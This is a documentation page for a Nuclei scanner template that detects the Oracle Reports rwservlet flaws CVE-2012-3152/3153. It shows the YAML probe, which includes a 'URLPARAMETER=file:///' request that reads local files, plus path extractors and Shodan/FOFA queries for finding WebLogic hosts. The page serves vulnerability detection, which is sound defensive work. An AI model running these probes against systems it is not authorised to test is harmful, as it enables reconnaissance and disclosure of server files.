Skip to content
Nuclei Templates

Oracle Forms & Reports RCE (CVE-2012-3152 & CVE-2012-3153)

ID: CVE-2012-3153

Severity: medium

Author: Sid Ahmed MALAOUI @ Realistic Security

Tags: cve,cve2012,oracle,rce,edb

Description

Section titled “Description”

An unspecified vulnerability in the Oracle Reports Developer component in Oracle Fusion Middleware 11.1.1.4,11.1.1.6, and 11.1.2.0 allows remote attackers to affect confidentiality and integrity via unknownvectors related to Report Server Component.

YAML Source

Section titled “YAML Source”
id: CVE-2012-3153


info:
  name: Oracle Forms & Reports RCE (CVE-2012-3152 & CVE-2012-3153)
  author: Sid Ahmed MALAOUI @ Realistic Security
  severity: medium
  description: |
    An unspecified vulnerability in the Oracle Reports Developer component in Oracle Fusion Middleware 11.1.1.4,
    11.1.1.6, and 11.1.2.0 allows remote attackers to affect confidentiality and integrity via unknown
    vectors related to Report Server Component.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution.
  remediation: |
    Apply the necessary patches and updates provided by Oracle to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2012-3152
    - https://www.exploit-db.com/exploits/31737
    - https://www.oracle.com/security-alerts/cpuoct2012.html
    - http://www.oracle.com/technetwork/topics/security/cpuoct2012-1515893.html
    - http://blog.netinfiltration.com/2013/11/03/oracle-reports-cve-2012-3152-and-cve-2012-3153/
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:N
    cvss-score: 6.4
    cve-id: CVE-2012-3153
    cwe-id: NVD-CWE-noinfo
    epss-score: 0.95986
    epss-percentile: 0.99471
    cpe: cpe:2.3:a:oracle:fusion_middleware:11.1.1.4.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: oracle
    product: fusion_middleware
    shodan-query:
      - http.title:"weblogic"
      - http.html:"weblogic application server"
    fofa-query:
      - title="weblogic"
      - body="weblogic application server"
    google-query: intitle:"weblogic"
  tags: cve,cve2012,oracle,rce,edb


http:
  - method: GET
    path:
      - "{{BaseURL}}/reports/rwservlet/showenv"
      - "{{BaseURL}}/reports/rwservlet?report=test.rdf&desformat=html&destype=cache&JOBTYPE=rwurl&URLPARAMETER=file:///"


    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "Reports Servlet")'


      - type: dsl
        dsl:
          - '!contains(body_2, "<html")'
          - '!contains(body_2, "<HTML")'
        condition: and


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        name: windows_working_path
        regex:
          - ".?.?\\\\.*\\\\showenv"


      - type: regex
        name: linux_working_path
        regex:
          - "/.*/showenv"
# digest: 4b0a00483046022100a86a3233e46cd195e8dc398d6dd06d2e4a1d53e4246fbf5096bc865f4b4433ec022100884d36921e7be2ee9ba6a8d3dbcedec1c136fa7b0eab60fccf995b3ef47c3b98:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2012/CVE-2012-3153.yaml"

View on Github